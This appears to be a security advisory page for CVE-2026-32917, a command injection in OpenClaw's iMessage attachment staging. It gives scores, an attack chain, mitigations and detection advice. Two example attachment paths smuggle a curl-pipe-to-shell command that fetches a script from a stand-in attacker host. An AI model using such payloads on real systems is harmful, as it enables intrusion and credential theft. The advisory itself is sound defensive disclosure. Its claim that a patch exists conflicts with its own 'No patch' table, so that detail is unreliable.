CVE-2026-32917: OpenClaw RCE — CRITICAL

CISO Take

OpenClaw before version 2026.3.13 allows unauthenticated remote attackers to execute arbitrary OS commands on configured remote hosts by embedding shell metacharacters in iMessage attachment paths, which are passed directly to the SCP remote operand without any sanitization. With a CVSS score of 9.8 — network-exploitable, zero privileges, zero user interaction — any internet-reachable OpenClaw deployment with remote attachment staging enabled represents a full system compromise waiting to happen. The package carries 396 tracked CVEs in its history, signaling systemic security debt, and while it has not yet entered CISA KEV, EPSS places exploitation probability in the top 22% with 4 downstream dependents amplifying the blast radius. Upgrade to OpenClaw 2026.3.13 immediately; if patching is not possible right now, disable remote attachment staging and audit all SCP-reachable remote hosts for signs of prior compromise.

Sources: NVD EPSS GitHub Advisory VulnCheck ATLAS

What is the risk?

Critical. The CVSS 9.8 score reflects a network-accessible, authentication-free, no-interaction attack surface with full C/I/A impact. The ai_agent classification means OpenClaw typically operates with elevated system privileges, making RCE especially damaging. The historically high CVE count (396 in the same package) indicates a codebase with persistent security hygiene issues, raising the likelihood of additional unpatched vectors. EPSS top-22% combined with no current public exploit suggests a closing window before PoC code emerges publicly.

How does the attack unfold?

Initial Access

Attacker sends a crafted iMessage containing an attachment path with shell metacharacters (e.g., 'file.pdf; curl attacker.com/shell.sh|sh') to a target running OpenClaw with remote attachment staging enabled.

AML.T0049

Command Injection

OpenClaw passes the unsanitized attachment path directly to the SCP remote operand; the OS shell interprets the injected metacharacters and executes the attacker's payload with OpenClaw's process privileges on the remote host.

AML.T0050

Persistence

Attacker drops a reverse shell, backdoor binary, or unauthorized SSH key on the compromised remote host to maintain access independent of the original exploit path.

AML.T0072

Impact

Full control of the remote host enables credential harvesting from the AI agent's environment, lateral movement into connected AI infrastructure, and exfiltration of model artifacts, API keys, and agent configuration data.

AML.T0112

Initial Access

Attacker sends a crafted iMessage containing an attachment path with shell metacharacters (e.g., 'file.pdf; curl attacker.com/shell.sh|sh') to a target running OpenClaw with remote attachment staging enabled.

AML.T0049

Command Injection

OpenClaw passes the unsanitized attachment path directly to the SCP remote operand; the OS shell interprets the injected metacharacters and executes the attacker's payload with OpenClaw's process privileges on the remote host.

AML.T0050

Persistence

Attacker drops a reverse shell, backdoor binary, or unauthorized SSH key on the compromised remote host to maintain access independent of the original exploit path.

AML.T0072

Impact

Full control of the remote host enables credential harvesting from the AI agent's environment, lateral movement into connected AI infrastructure, and exfiltration of model artifacts, API keys, and agent configuration data.

AML.T0112

What systems are affected?

Package	Ecosystem	Vulnerable Range	Patched
OpenClaw	pip	—	No patch
4 dependents 37% patched ~3d to patch Full package profile →

Do you use OpenClaw? You're affected.

How severe is it?

CVSS 3.1

9.8 / 10

EPSS

2.0%

chance of exploitation in 30 days

Higher than 79% of all CVEs

Source: EPSS v3 — FIRST.org

Exploitation Status

No known exploitation

Sophistication

Trivial

What is the attack surface?

AV Network

AC Low

PR None

UI None

S Unchanged

C High

I High

A High

What should I do?

5 steps

Patch: Upgrade to OpenClaw 2026.3.13 (patch commit a54bf71b).
Interim workaround: Disable remote attachment staging in OpenClaw configuration until patching is complete.
Audit: Review SCP-accessible remote hosts for anomalous cron jobs, unauthorized SSH authorized_keys additions, or unexpected outbound connections indicating prior exploitation.
Network controls: Restrict iMessage attachment staging processing to known-safe network paths if operationally feasible.
Detection: Alert on shell metacharacters (;, |, $(), backticks) appearing in SCP command logs or iMessage attachment paths processed by OpenClaw.

What does CISA's SSVC say?

Decision Track*

Exploitation none

Automatable Yes

Technical Impact total

Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.

How is it classified?

Code Execution Agent AML.T0049 - Exploit Public-Facing Application AML.T0050 - Command and Scripting Interpreter AML.T0072 - Reverse Shell

Which compliance frameworks are affected?

This CVE is relevant to:

EU AI Act

Article 15 - Accuracy, robustness and cybersecurity

ISO 42001

A.8.4 - AI system requirements

NIST AI RMF

MANAGE-2.4 - Mechanisms to sustain the value of deployed AI

OWASP LLM Top 10

LLM06:2025 - Excessive Agency

Frequently Asked Questions

What is CVE-2026-32917?

OpenClaw before version 2026.3.13 allows unauthenticated remote attackers to execute arbitrary OS commands on configured remote hosts by embedding shell metacharacters in iMessage attachment paths, which are passed directly to the SCP remote operand without any sanitization. With a CVSS score of 9.8 — network-exploitable, zero privileges, zero user interaction — any internet-reachable OpenClaw deployment with remote attachment staging enabled represents a full system compromise waiting to happen. The package carries 396 tracked CVEs in its history, signaling systemic security debt, and while it has not yet entered CISA KEV, EPSS places exploitation probability in the top 22% with 4 downstream dependents amplifying the blast radius. Upgrade to OpenClaw 2026.3.13 immediately; if patching is not possible right now, disable remote attachment staging and audit all SCP-reachable remote hosts for signs of prior compromise.

Is CVE-2026-32917 actively exploited?

No confirmed active exploitation of CVE-2026-32917 has been reported, but organizations should still patch proactively.

How to fix CVE-2026-32917?

1. Patch: Upgrade to OpenClaw 2026.3.13 (patch commit a54bf71b). 2. Interim workaround: Disable remote attachment staging in OpenClaw configuration until patching is complete. 3. Audit: Review SCP-accessible remote hosts for anomalous cron jobs, unauthorized SSH authorized_keys additions, or unexpected outbound connections indicating prior exploitation. 4. Network controls: Restrict iMessage attachment staging processing to known-safe network paths if operationally feasible. 5. Detection: Alert on shell metacharacters (;, |, $(), backticks) appearing in SCP command logs or iMessage attachment paths processed by OpenClaw.

What systems are affected by CVE-2026-32917?

This vulnerability affects the following AI/ML architecture patterns: agent frameworks, AI agent orchestration pipelines, iMessage-integrated automation workflows.

What is the CVSS score for CVE-2026-32917?

CVE-2026-32917 has a CVSS v3.1 base score of 9.8 (CRITICAL). The EPSS exploitation probability is 1.97%.

What is the AI security impact?

Affected AI Architectures

agent frameworksAI agent orchestration pipelinesiMessage-integrated automation workflows

MITRE ATLAS Techniques

AML.T0049 Exploit Public-Facing Application

AML.T0050 Command and Scripting Interpreter

AML.T0072 Reverse Shell

Compliance Controls Affected

EU AI Act: Article 15

ISO 42001: A.8.4

NIST AI RMF: MANAGE-2.4

OWASP LLM Top 10: LLM06:2025

What are the technical details?

Original Advisory

OpenClaw before 2026.3.13 contains a remote command injection vulnerability in the iMessage attachment staging flow that allows attackers to execute arbitrary commands on configured remote hosts. The vulnerability exists because unsanitized remote attachment paths containing shell metacharacters are passed directly to the SCP remote operand without validation, enabling command execution when remote attachment staging is enabled.

Exploitation Scenario

An adversary targeting an organization using OpenClaw for AI agent automation sends a crafted iMessage to a monitored address with an attachment path such as 'report.pdf; curl http://attacker.com/implant.sh | bash'. When OpenClaw's attachment staging flow processes this message, it constructs an SCP command that includes the unsanitized path as the remote operand. The shell interprets the semicolon as a command separator and executes the attacker's payload with the privileges of the OpenClaw process. On the compromised remote host the attacker installs a persistent backdoor, harvests API keys and credentials from the agent's environment variables and config files, and pivots laterally into connected AI infrastructure including model serving endpoints and vector databases.

Weaknesses (CWE)

CWE-78 Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

CWE-78 — Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'): The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.

[Architecture and Design] If at all possible, use library calls rather than external processes to recreate the desired functionality.
[Architecture and Design, Operation] Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.

Source: MITRE CWE corpus.